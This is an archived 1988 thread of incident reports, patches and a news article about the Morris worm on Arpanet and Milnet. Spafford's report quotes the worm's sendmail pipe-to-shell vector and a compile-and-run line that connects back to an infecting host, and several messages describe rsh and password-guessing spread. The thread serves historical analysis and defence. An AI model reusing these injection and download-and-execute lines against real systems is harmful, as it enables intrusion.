https://wiki.preterhuman.net/index.php?title=Virus_on_the_Arpanet_-_Milnet&feed=atom&action=historyVirus on the Arpanet - Milnet - Revision history2024-03-28T17:50:56ZRevision history for this page on the wikiMediaWiki 1.35.0https://wiki.preterhuman.net/index.php?title=Virus_on_the_Arpanet_-_Milnet&diff=29981&oldid=prevNetfreak: Created page with "<pre> From: Stoll@DOCKMASTER.ARPA Subject: Virus on the Arpanet - Milnet Date: Thu, 3 Nov 88 06:46 EST Re Arpanet "Sendmail" Virus attack November 3, 1988 Hi Gang! It's n..."2021-01-11T08:38:23Z<p>Created page with "<pre> From: Stoll@DOCKMASTER.ARPA Subject: Virus on the Arpanet - Milnet Date: Thu, 3 Nov 88 06:46 EST Re Arpanet "Sendmail" Virus attack November 3, 1988 Hi Gang! It's n..."</p>
<p><b>New page</b></p><div><pre><br />
From: Stoll@DOCKMASTER.ARPA<br />
Subject: Virus on the Arpanet - Milnet<br />
Date: Thu, 3 Nov 88 06:46 EST<br />
<br />
Re Arpanet "Sendmail" Virus attack November 3, 1988<br />
<br />
Hi Gang!<br />
<br />
It's now 3:45 AM on Wednesday 3 November 1988. I'm tired, so don't<br />
believe everything that follows... <br />
<br />
Apparently, there is a massive attack on Unix systems going on right<br />
now. <br />
<br />
I have spoken to systems managers at several computers, on both the east<br />
& west coast, and I suspect this may be a system wide problem. <br />
<br />
Symptom: hundreds or thousands of jobs start running on a Unix system<br />
bringing response to zero. <br />
<br />
Systems attacked: Unix systems, 4.3BSD unix & variants (eg: SUNs) any<br />
sendmail compiled with debug has this problem. See below. <br />
<br />
This virus is spreading very quickly over the Milnet. Within the past 4<br />
hours, I have evidence that it has hit >10 sites across the country,<br />
both Arpanet and Milnet sites. I suspect that well over 50 sites have<br />
been hit. Most of these are "major" sites and gateways. <br />
<br />
Method:<br />
<br />
Apparently, someone has written a program that uses a hole in SMTP<br />
Sendmail utility. This utility can send a message into another program. <br />
<br />
Step 1: from a distant Milnet host, a message is sent to Sendmail<br />
to fire up SED, (SED is an editor) This is possible in certain<br />
versions of sendmail (see below).<br />
<br />
2: A 99 line C program is sent to SED through Sendmail.<br />
<br />
3: The distant computer sends a command to compile this C program.<br />
<br />
4: Several object files are copied into the Unix computer.<br />
There are 3 files: one targeted to Sun<br />
one targeted to SUN-3<br />
one targeted to vax (ultrix probably, not vms)<br />
<br />
5: The C program accepts as address other Milnet sites<br />
<br />
6: Apparently, program scans for other Milnet/arpanet addresses and<br />
repeats this process.<br />
<br />
The bug in Sendmail:<br />
<br />
When the Unix 4.3 BSD version of Sendmail is compiled with the Debug<br />
option, there's a hole in it. <br />
<br />
Most Unix systems (BSD 4.3 and Suns) apparently do not have this bug. <br />
It exists only where the system manager recompiled Sendmail and enabled<br />
debugging. <br />
<br />
This is bad news.<br />
<br />
Cliff Stoll dockmaster.arpa<br />
<br />
----------------------------------------------------------------------<br />
From: Gene Spafford <spaf@purdue.edu><br />
Subject: More on the virus<br />
Date: Thu, 03 Nov 88 09:52:18 EST<br />
<br />
All of our Vaxen and some of our Suns here were infected with the virus. <br />
The virus forks repeated copies of itself as it tries to spread itself,<br />
and the load averages on the infected machines skyrocketed. In fact, it<br />
got to the point that some of the machines ran out of swap space and<br />
kernel table entries, preventing login to even see what was going on!<br />
<br />
The virus seems to consist of two parts. I managed to grab the source<br />
code for one part, but not the main component (the virus cleans up after<br />
itself so as not to leave evidence). The way that it works is as<br />
follows:<br />
<br />
1) Virus running on an infected machine opens a TCP connection to a<br />
victim machine's sendmail, invokes debug mode, and gets a shell. <br />
<br />
2) The shell creates a file in /tmp named $$,l1.c (where the $$ gets<br />
replaced by the current process id) and copies code for a "listener" or<br />
"helper" program. This is just a few dozen lines long and fairly<br />
generic code. The shell compiles this helper using the "cc" command<br />
local to the system. <br />
<br />
3) The helper is invoked with arguments pointing back at the infecting<br />
virus (giving hostid/socket/passwords as arguments). <br />
<br />
4) The helper then connects to the "server" and copies a number of files<br />
(presumably to /tmp). After the files are copied, it exec's a shell<br />
with standard input coming from the infecting virus program on the other<br />
end of the socket. <br />
<br />
From here, I speculate on what happens since I can't find the source to<br />
this part lying around on our machines:<br />
<br />
5) The newly exec'd shell attempts to compile itself from the files<br />
copied over to the target machine. I'm not sure what else the virus<br />
does, if anything -- it may also be attempting to add a bogus passwd<br />
file entry or do something to the file system. The helper program has<br />
an array of 20 filenames for the "helper" to copy over, so there is room<br />
to spare. There are two versions copied -- a version for Vax BSD and a<br />
version for SunOS; the appropriate one is compiled. <br />
<br />
6) The new virus is dispatched. This virus opens all the virus source<br />
files, then unlinks the files so they can't be found (since it has them<br />
open, however, it can still access the contents). Next, the virus steps<br />
through the hosts file (on the Sun, it uses YP to step through the<br />
distributed hosts file) trying to connect to other machines' sendmail. <br />
If a connection succeeds, it forks a child process to infect it, while<br />
the parent continues to attempt infection of other machines. <br />
<br />
7) The child requests and initializes a new socket, then builds and<br />
invokes a listener with the new socket number and hostid as arguments<br />
(#1, above). <br />
<br />
The heavy load we see is the result of multiple viruses coming in from<br />
multiple sites. Since local hosts files tend to have entries for other<br />
local hosts, the virus tends to infect local machines multiple times --<br />
in some senses this is lucky since it helps prevent the spread of the<br />
virus as the local machines slow down. <br />
<br />
The virus also "cleans" up after itself. If you reboot an infected<br />
machine (or it crashes), the /tmp directory is normally cleaned up on<br />
reboot. The other incriminating files were already deleted by the virus<br />
itself. <br />
<br />
Clever, nasty, and definitely anti-social. <br />
<br />
--spaf<br />
<br />
---------------------------------------------------------------------------<br />
From: bishop@bear.Dartmouth.EDU (Matt Bishop)<br />
Subject: More on the virus<br />
Date: Thu, 3 Nov 88 16:32:25 EST<br />
<br />
... This program introduced itself through a bug in sendmail. At these<br />
sites, sendmail was compiled and installed with a debugging option<br />
turned on. As near as I can figure (I don't have access to the sendmail<br />
sources), by giving a specific option to the "debug" command in sendmail<br />
(there are lots of those, controlling what exactly you get information<br />
about) you can cause it to execute a command. As sendmail runs setuid<br />
to root, guess what privileges the command is executed with. Right. <br />
<br />
Apparently what the attacker did was this: he or she connected<br />
to sendmail (ie, telnet victim.machine 25), issued the appropriate debug<br />
command, and had a small C program compiled. (We have it. Big deal.)<br />
This program took as an argument a host number, and copied two programs<br />
-- one ending in q.vax.o and the other ending in .sun.o -- and tried to<br />
load and execute them. In those cases where the load and execution<br />
succeeded, the worm did two things (at least): spawn a lot of shells<br />
that did nothing but clog the process table and burn CPU cycles; look in<br />
two places -- the password file and the internet services file -- for<br />
other sites it could connect to (this is hearsay, but I don't doubt it<br />
for a minute.) It used both individual .rhost files (which it found<br />
using the password file), and any other remote hosts it could locate<br />
which it had a chance of connecting to. It may have done more; one of<br />
our machines had a changed superuser password, but because of other<br />
factors we're not sure this worm did it. <br />
<br />
This last part is still sketchy; I have the relevant sun.o file<br />
and will take it apart to see just what it was supposed to do. As of<br />
now, it appears there was no serious damage (just wasted CPU cycles and<br />
system administrator time). <br />
<br />
Two obvious points:<br />
<br />
1. Whoever did this picked only on suns and vaxen. One site with a lot<br />
of IRISes and two Crays (ie, NASA Ames) got bit on their Suns and Vaxen,<br />
but the attempt to get the other machines didn't work.<br />
<br />
2. This shows the sorry state of software and security in the UNIX world.<br />
People should NEVER put a program with debugging hooks in it, especially<br />
when the hook is (or can be made) to execute an arbitrary command. But<br />
that is how the sendmail which was used was distributed!<br />
<br />
One more interesting point: initially, I thought an application<br />
of the "principle of least privilege" would have prevented this<br />
penetration. But the attacker used a world-writeable directory to<br />
squirrel the relevant programs in, so -- in effect -- everything could<br />
have been done by any user on the system! (Except the superuser password<br />
change, of course -- if this worm did in fact do it.)<br />
<br />
I think the only way to prevent such an attack would have been<br />
to turn off the deug option on sendmail; then the penetration would<br />
fail. It goes to show that if the computer is not secure (and like you,<br />
I don't believe there ever will be such a beastie), there is simply no<br />
way to prevent a virus (or, in this case, a worm) from getting into that<br />
system. <br />
<br />
I know this is somewhat sketchy, flabby, and fuzzy, but it's all<br />
I know so far. I'll keep you posted on developments ... <br />
<br />
Matt<br />
<br />
------------------------------------------------------------------------<br />
From: bostic@okeeffe.Berkeley.EDU (Keith Bostic)<br />
Subject: Virus (READ THIS IMMEDIATELY)<br />
Date: 3 Nov 88 10:58:55 GMT<br />
<br />
<br />
Subject: Fixes for the virus<br />
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD<br />
<br />
Description:<br />
There's a virus running around; the salient facts. A bug in<br />
sendmail has been used to introduce a virus into a lot of<br />
Internet UNIX systems. It has not been observed to damage the<br />
host system, however, it's incredibly virulent, attempting to<br />
introduce itself to every system it can find. It appears to<br />
use rsh, broken passwords, and sendmail to introduce itself<br />
into the target systems. It affects only VAXen and Suns, as<br />
far as we know. <br />
<br />
There are three changes that we believe will immunize your<br />
system. They are attached.<br />
<br />
Thanks to the Experimental Computing Facility, Center for<br />
Disease Control for their assistance. (It's pretty late,<br />
and they certainly deserved some thanks, somewhere!)<br />
<br />
Fix:<br />
First, either recompile or patch sendmail to disallow the `debug'<br />
option. If you have source, recompile sendmail after first<br />
applying the following patch to the module svrsmtp.c:<br />
<br />
*** /tmp/d22039 Thu Nov 3 02:26:20 1988<br />
--- srvrsmtp.c Thu Nov 3 01:21:04 1988<br />
***************<br />
*** 85,92 ****<br />
"onex", CMDONEX,<br />
# ifdef DEBUG<br />
"showq", CMDDBGQSHOW,<br />
- "debug", CMDDBGDEBUG,<br />
# endif DEBUG<br />
# ifdef WIZ<br />
"kill", CMDDBGKILL,<br />
# endif WIZ<br />
--- 85,94 ----<br />
"onex", CMDONEX,<br />
# ifdef DEBUG<br />
"showq", CMDDBGQSHOW,<br />
# endif DEBUG<br />
+ # ifdef notdef<br />
+ "debug", CMDDBGDEBUG,<br />
+ # endif notdef<br />
# ifdef WIZ<br />
"kill", CMDDBGKILL,<br />
# endif WIZ<br />
<br />
Then, reinstall sendmail, refreeze the configuration file,<br />
using the command "/usr/lib/sendmail -bz", kill any running<br />
sendmail's, using the ps(1) command and the kill(1) command,<br />
and restart your sendmail. To find out how sendmail is <br />
execed on your system, use grep(1) to find the sendmail start<br />
line in either the files /etc/rc or /etc/rc.local<br />
<br />
If you don't have source, apply the following patch to your<br />
sendmail binary. SAVE A COPY OF IT FIRST, IN CASE YOU MESS<br />
UP! This is mildly tricky -- note, some versions of strings(1),<br />
which we're going to use to find the offset of the string <br />
"debug" in the binary print out the offsets in octal, not<br />
decimal. Run the following shell line to decide how your<br />
version of strings(1) works:<br />
<br />
/bin/echo 'abcd' | /usr/ucb/strings -o <br />
<br />
Note, make sure the eight control 'G's are preserved in this<br />
line. If this command results in something like:<br />
<br />
0000008 abcd<br />
<br />
your strings(1) command prints out locations in decimal, else<br />
it's octal.<br />
<br />
The patch script for sendmail. NOTE, YOUR OFFSETS MAY VARY!!<br />
This script assumes that your strings(1) command prints out<br />
the offsets in decimal. <br />
<br />
Script started on Thu Nov 3 02:08:14 1988<br />
okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug<br />
0096972 debug<br />
okeeffe:tmp {3} adb -w /usr/lib/sendmail<br />
?m 0 0xffffffff 0<br />
0t10$d<br />
radix=10 base ten<br />
96972?s<br />
96972: debug<br />
96972?w 0<br />
96972: 25701 = 0<br />
okeeffe:tmp {4} ^D<br />
script done on Thu Nov 3 02:09:31 1988<br />
<br />
If your strings(1) command prints out the offsets in octal,<br />
change the line "0t10$d" to "0t8$d".<br />
<br />
After you've fixed sendmail, move both /bin/cc and /bin/ld to<br />
something else. (The virus uses the cc and the ld commands<br />
to rebuild itself to run on your system.)<br />
<br />
Finally, kill any processes on your system that don't belong there.<br />
Suspicious ones have "(sh)" or "xNNNNNNN" where the N's are random<br />
digits, as the command name on the ps(1) output line.<br />
<br />
One more thing, if you find files in /tmp or /usr/tmp that <br />
have names like "xNNNNNN,l1.c", or "xNNNNNN,sun3.o", or<br />
"xNNNNNNN,vax.o" where the N's are random digits, you've been<br />
infected.<br />
<br />
<br />
------------------------------------------------------------------------<br />
From: news@cs.purdue.EDU (News Knower)<br />
Subject: Re: The virus<br />
Date: 3 Nov 88 19:58:27 GMT<br />
<br />
The patch from Keith Bostic in the last message is *not* sufficient to<br />
halt the spread of the virus. We have discovered from looking at the<br />
binaries that the virus also attempts to spread itself via "rsh"<br />
commands to other machines. It looks through a *lot* of files to find<br />
possible vectors to spread. <br />
<br />
If you have a bunch of machines with hosts.equiv set or .rhosts files,<br />
you should shut them *all* down at the same time after you have fixed<br />
sendmail to prevent a further infestation. If you don't clear out the<br />
versions in memory, you won't protect your other machines. <br />
<br />
The virus runs itself with the name "sh" and then overwrites argv, so if<br />
a "ps ax" shows any processes named "(sh)" without a controlling tty,<br />
you have a problem. Due to the use of other uids from rsh, don't make<br />
any conclusions if the uid is one of your normal users. <br />
<br />
Also, check your mailq (do a mailq command). If you see any entries<br />
that pipe themselves through sed and sh, delete them from the queue<br />
before you restart your machines. <br />
<br />
Non-internet sites do not need to worry about this virus (for now!), but<br />
be aware that mail and news may not be flowing everywhere for some time<br />
-- many sites are disconnecting from the Internet completely until the<br />
virus is contained.<br />
<br />
-----------------------------------------------------------------------<br />
From: Gene Spafford <spaf@purdue.edu><br />
Subject: Updated worm report<br />
Date: Fri, 04 Nov 88 00:27:54 EST<br />
<br />
This is an updated description of how the worm works (note: it is<br />
technically a worm, not a virus, since it does not attach itself to<br />
other code {that we know about}):<br />
<br />
All of our Vaxen and some of our Suns here were infected with the worm. <br />
The worm forks repeated copies of itself as it tries to spread itself,<br />
and the load averages on the infected machines skyrocketed. In fact, it<br />
got to the point that some of the machines ran out of swap space and<br />
kernel table entries, preventing login to even see what was going on!<br />
<br />
The worm seems to consist of two parts. The way that it works is as<br />
follows:<br />
<br />
1) Virus running on an infected machine opens a TCP connection to a<br />
victim machine's sendmail, invokes debug mode, and submits a version of<br />
itself as a mail message. <br />
<br />
*OR* it uses rsh to create itself on the remote machine through an<br />
account requiring no password (due to hosts.equiv or .rhosts entries). <br />
*OR* it gets in via a bug in fingerd *OR* it uses telnet (more on this<br />
later). <br />
<br />
Using the sendmail route, it does something like:<br />
From: /dev/null<br />
To: "|sed -e 1,/^$/d | sh; exit 0"<br />
<br />
cd /usr/tmp<br />
cat > x14481910.c <<'EOF'<br />
<text of program deleted?<br />
EOF<br />
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;rm -f x14481910 x14481910.c<br />
<br />
2) This program is a simple "listener" or "helper" program of about a<br />
hundred lines of fairly simple code. As you can see, the helper is<br />
invoked with arguments pointing back at the infecting worm (giving<br />
hostid/socket/checksum(?) as arguments). <br />
<br />
3) The helper then connects to the "server" and copies a number of files<br />
(presumably to /tmp). After the files are copied, it exec's a shell<br />
with standard input coming from the infecting worm program on the other<br />
end of the socket. <br />
<br />
From here, I speculate on what happens since I can't find the source to<br />
this part lying around on our machines:<br />
<br />
4) The newly exec'd shell attempts to compile itself from the files copied over<br />
to the target machine. The command file it uses is as follows:<br />
<br />
PATH=/bin:/usr/bin:/usr/ucb<br />
rm -f sh<br />
if [ -f sh ]<br />
then<br />
P=x%d<br />
else<br />
P=sh<br />
cc -o $P %s<br />
/bin/echo %s<br />
./$P -p $$ <br />
<br />
5) This creates and dispatches the new worm.. This worm opens all the<br />
worm source files, then unlinks the files so they can't be found (since<br />
it has them open, however, it can still access the contents). Next, the<br />
worm steps through the hosts file (on the Sun, it uses YP to step<br />
through the distributed hosts file) trying to connect to other machines'<br />
sendmail. If a connection succeeds, it forks a child process to infect<br />
it, while the parent continues to attempt infection of other machines. <br />
<br />
6) The child requests and initializes a new socket, then builds and<br />
invokes a listener with the new socket number and hostid as arguments<br />
(#1, above). <br />
<br />
Other notes:<br />
<br />
The worm runs in stages. It first collects info from the /etc/hosts<br />
files, the hosts.equiv file, and other files containing host names and<br />
host IP addresses. It even runs netstat to find out what networks the<br />
machine is attached to! It uses this information to attempt to penetrate<br />
sendmail on those machines. It also knows how to penetrate "fingerd" on<br />
Vaxen (on Suns, the attempt results in a core dump). I will privately<br />
tell individuals how to fix the bug in fingerd, but for now change it so<br />
it does not run as "root". <br />
<br />
After this first stage, it appears to sleep for a while. Then it starts<br />
collecting user names and it begins probing with "rsh". It also tries<br />
to attack the passwords by trying a set of built-in words, the contents<br />
of /usr/dict, and words snarfed from system files. If it succeeds in<br />
breaking a local password, it forks a child to use telnet to break into<br />
that account and copy itself. <br />
<br />
As I write this, no one seems to know what it is supposed to eventually<br />
do. Perhaps it just breaks in everywhere it can. We do know that if it<br />
doesn't break into any accounts or systems for a while, it enters a mode<br />
where it tries to break the root password via brute force searching. We<br />
suspect that if it succeeds it then does very nasty things. <br />
<br />
Other notes:<br />
<br />
The program corrupts its argument vector, so it appears in a "ps ax" as<br />
"(sh)" (a login shell). Don't trust any of these if you have them<br />
running. <br />
<br />
The program doesn't copy around source files (except the helper) -- it<br />
copies around pre-compiled binaries that are linked on the local machine<br />
and then run. The worm appears to only be carrying binaries for<br />
68020-based Suns and Vax 7xx and 8800 machines. Pyramids, Sun 2's and<br />
Sequents are all definitely immune. (Note: an infected 8800 is an<br />
awesome engine of contagion.)<br />
<br />
The strings in the binaries are encrypted against a random "strings"<br />
invocation. If you have a binary, Keith Bostic informs me that Xor with<br />
0x81 will reveal interesting things, although that is not the only mask<br />
used. <br />
<br />
The first observation of the virus I have heard about was 6pm Wednesday<br />
night in Pittsburgh. It didn't hit Purdue until about 4 this morning. <br />
We were lucky in that other sites, like CMU and Princeton, were hit<br />
around 11 last night. <br />
<br />
Acknowledgements: Some of the above information was obtained from Brian<br />
Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue), Dan Trinkle<br />
(Purdue), Kevin Braunsdorf (Purdue) and Miek Rowan (Purdue). Thanks,<br />
guys. <br />
<br />
---------------------------------------------------------------------------<br />
From: Gene Spafford <spaf@purdue.edu><br />
Subject: A worm "condom"<br />
Date: Thu, 03 Nov 88 21:20:10 EST<br />
<br />
... Kevin Braunsdorf & Rich Kulawiec (Purdue-CC) have come up with a<br />
"condom" to protect your machine against the CURRENT worm. They are not<br />
100% sure it works, but it seems to be completely effective and it can't<br />
do any harm. As ROOT, do:<br />
<br />
mkdir /usr/tmp/sh<br />
chmod 111 /usr/tmp/sh<br />
<br />
Then edit your rc.local file to recreate the directory in case of a<br />
reboot. This will not stop a current infection, but it will prevent any<br />
new ones from taking hold -- it prevents the worm from creating<br />
replicas. <br />
<br />
... --spaf<br />
<br />
-------------------------------------------------------------------------<br />
From: Gene Spafford <spaf@purdue.edu><br />
Subject: A cure!!!!!<br />
Date: Thu, 03 Nov 88 22:04:15 EST<br />
<br />
FLASH!!<br />
<br />
Kevin ("Adb's your friend.") Braunsdorf just burst into my office with a<br />
cure discovered in the disassembled worm binary. <br />
<br />
If there is an external variable in the library named "pleasequit" that<br />
is non-zero, the worm will die immediately after exiting. Thus, to kill<br />
any new worms, include a patch in your library that defines the symbol. <br />
The following shell file and source code will modify your C library to<br />
define this symbol. <br />
<br />
It WON'T kill any currently linked and running versions, but it will<br />
prevent reinfection. <br />
<br />
# Shar archive. Give the following as input to /bin/sh<br />
# Packed Thu Nov 3 21:56:35 EST 1988 by spaf@uther.cs.purdue.edu<br />
#<br />
# This archive contains:<br />
# foo.sh<br />
# foo.c<br />
#<br />
#<br />
echo x - foo.sh<br />
sed 's/^X//' >foo.sh <<'*-*-END-of-foo.sh-*-*'<br />
Xcc -c foo.c -o foo.o<br />
Xcp /lib/libc.a /lib/libc.a.old<br />
Xar q /lib/libc.a foo.o<br />
Xranlib /lib/libc.a<br />
*-*-END-of-foo.sh-*-*<br />
echo x - foo.c<br />
sed 's/^X//' >foo.c <<'*-*-END-of-foo.c-*-*'<br />
Xextern int pleasequit = -1;<br />
*-*-END-of-foo.c-*-*<br />
exit<br />
<br />
------------------------------------------------------------------------<br />
From: geoff@fernwood.mpk.ca.us (the tty of Geoff Goodfellow)<br />
Subject: Computer Network Disrupted by `Virus'<br />
Date: Thu, 3 Nov 88 21:30:19 PST<br />
<br />
COMPUTER NETWORK DISRUPTED BY `VIRUS'<br />
By JOHN MARKOFF=<br />
c.1988 N.Y. Times News Service=<br />
<br />
In an intrusion that raises new questions about the vulnerability of<br />
the nation's computers, a nationwide Department of Defense data network<br />
has been disrupted since Wednesday night by a rapidly spreading<br />
``virus'' software program apparently introduced by a computer science<br />
student's malicious experiment. <br />
<br />
The program reproduced itself through the computer network, making<br />
hundreds of copies in each machine it reached, effectively clogging<br />
systems linking thousands of military, corporate and university<br />
computers around the country and preventing them from doing additional<br />
work. The virus is thought not to have destroyed any files. <br />
<br />
By late Thursday afternoon computer security experts were calling<br />
the virus the largest assault ever on the nation's computers. <br />
<br />
``The big issue is that a relatively benign software program can<br />
virtually bring our computing community to its knees and keep it there<br />
for some time,'' said Chuck Cole, deputy computer security manager at<br />
Lawerence Livermore Laboratory in Livermore, Calif., one of the sites<br />
affected by the intrusion. ``The cost is going to be staggering.''<br />
<br />
Clifford Stoll,^ @a computer security expert at Harvard University,<br />
added: ``There is not one system manager who is not tearing his hair<br />
out. It's causing enormous headaches.''<br />
<br />
The affected computers carry routine communications among military<br />
officials, researchers and corporations. <br />
<br />
While some sensitive military data are involved, the nation's most<br />
sensitive secret information, such as that on the control of nuclear<br />
weapons, is thought not to have been touched by the virus. <br />
<br />
Computer viruses are so named because they parallel in the computer<br />
world the behavior of biological viruses. A virus is a program, or a<br />
set of instructions to a computer, that is deliberately planted on a<br />
floppy disk meant to be used with the computer or introduced when the<br />
computer is communicating over telephone lines or data networks with<br />
other computers. <br />
<br />
The programs can copy themselves into the computer's master software,<br />
or operating system, usually without calling any attention to<br />
themselves. From there, the program can be passed to additional<br />
computers. <br />
<br />
Depending upon the intent of the software's creator, the program<br />
might cause a provocative but otherwise harmless message to appear on<br />
the computer's screen. Or it could systematically destroy data in the<br />
computer's memory. <br />
<br />
The virus program was apparently the result of an experiment by a<br />
computer science graduate student trying to sneak what he thought was a<br />
harmless virus into the Arpanet computer network, which is used by<br />
universities, military contractors and the Pentagon, where the software<br />
program would remain undetected. <br />
<br />
A man who said he was an associate of the student said in a<br />
telephone call to The New York Times that the experiment went awry<br />
because of a small programming mistake that caused the virus to multiply<br />
around the military network hundreds of times faster than had been<br />
planned. <br />
<br />
The caller, who refused to identify himself or the programmer, said<br />
the student realized his error shortly after letting the program loose<br />
and that he was now terrified of the consequences. <br />
<br />
A spokesman at the Pentagon's Defense Communications Agency, which<br />
has set up an emergency center to deal with the problem, said the<br />
caller's story was a ``plausible explanation of the events.''<br />
<br />
As the virus spread Wednesday night, computer experts began a huge<br />
struggle to eradicate the invader. <br />
<br />
A spokesman for the Defense Communications Agency in Washington<br />
acknowledged the attack, saying, ``A virus has been identified in<br />
several host computers attached to the Arpanet and the unclassified<br />
portion of the defense data network known as the Milnet.''<br />
<br />
He said that corrections to the security flaws exploited by the virus<br />
are now being developed. <br />
<br />
The Arpanet data communications network was established in 1969 and<br />
is designed to permit computer researchers to share electronic messages,<br />
programs and data such as project information, budget projections and<br />
research results. <br />
<br />
In 1983 the network was split and the second network, called Milnet,<br />
was reserved for higher-security military communications. But Milnet is<br />
thought not to handle the most classified military information,<br />
including data related to the control of nuclear weapons. <br />
<br />
The Arpanet and Milnet networks are connected to hundreds of civilian<br />
networks that link computers around the globe. <br />
<br />
There were reports of the virus at hundreds of locations on both<br />
coasts, including, on the East Coast, computers at the Massachusetts<br />
Institute of Technology, Harvard University, the Naval Research<br />
Laboratory in Maryland and the University of Maryland and, on the West<br />
Coast, NASA's Ames Research Center in Mountain View, Calif.; Lawrence<br />
Livermore Laboratories; Stanford University; SRI International in Menlo<br />
Park, Calif.; the University of California's Berkeley and San Diego<br />
campuses and the Naval Ocean Systems Command in San Diego. <br />
<br />
A spokesman at the Naval Ocean Systems Command said that its computer<br />
systems had been attacked Wednesday evening and that the virus had<br />
disabled many of the systems by overloading them. He said that computer<br />
programs at the facility were still working on the problem more than 19<br />
hours after the original incident. <br />
<br />
The unidentified caller said the Arpanet virus was intended simply to<br />
``live'' secretly in the Arpanet network by slowly copying itself from<br />
computer to computer. However, because the designer did not completely<br />
understand how the network worked, it quickly copied itself thousands of<br />
times from machine to machine. <br />
<br />
Computer experts who disassembled the program said that it was<br />
written with remarkable skill and that it exploited three security flaws<br />
in the Arpanet network. [No. Actually UNIX] The virus' design included<br />
a program designed to steal passwords, then masquerade as a legitimate<br />
user to copy itself to a remote machine. <br />
<br />
Computer security experts said that the episode illustrated the<br />
vulnerability of computer systems and that incidents like this could be<br />
expected to happen repeatedly if awareness about computer security risks<br />
was not heightened. <br />
<br />
``This was an accident waiting to happen; we deserved it,'' said<br />
Geoffrey Goodfellow,''(*) president of Anterior Technology Inc. and an<br />
expert on computer communications. <br />
<br />
``We needed something like this to bring us to our senses. We have<br />
not been paying much attention to protecting ourselves.''<br />
<br />
Peter Neumann, a computer security expert at SRI International Inc. <br />
in Menlo Park International, said: ``Thus far the disasters we have<br />
known have been relatively minor. The potential for rather<br />
extraordinary destruction is rather substantial. <br />
<br />
``In most of the cases we know of, the damage has been immediately<br />
evident. But if you contemplate the effects of hidden programs, you<br />
could have attacks going on and you might never know it.''<br />
<br />
<br />
[* Following is Geoff's full quote ("exploitation"), which John only<br />
partially integrated with Geoff's earlier off-the-cuff comment<br />
("accident"):<br />
<br />
"This was an exploitation wanting to happen. We deserved it. We<br />
needed something like this to bring us to our senses. We have not been<br />
paying much attention to protecting ourselves. The blame does not rest<br />
on the R&D community as a whole. Look how many manufacturers [...] just<br />
took the original computer-science-department developed code<br />
willy-nilly, put their wrapper and corporate logo on it, and resold it<br />
to customers. That's the real travesty here, we build these systems,<br />
OK, that's great, but we rarely build them and then ask how they might<br />
be abused, broken, or circumvented" {and then try to break them}. ]<br />
</pre><br />
<br />
[[Category:Security]][[Category:1988]]</div>Netfreak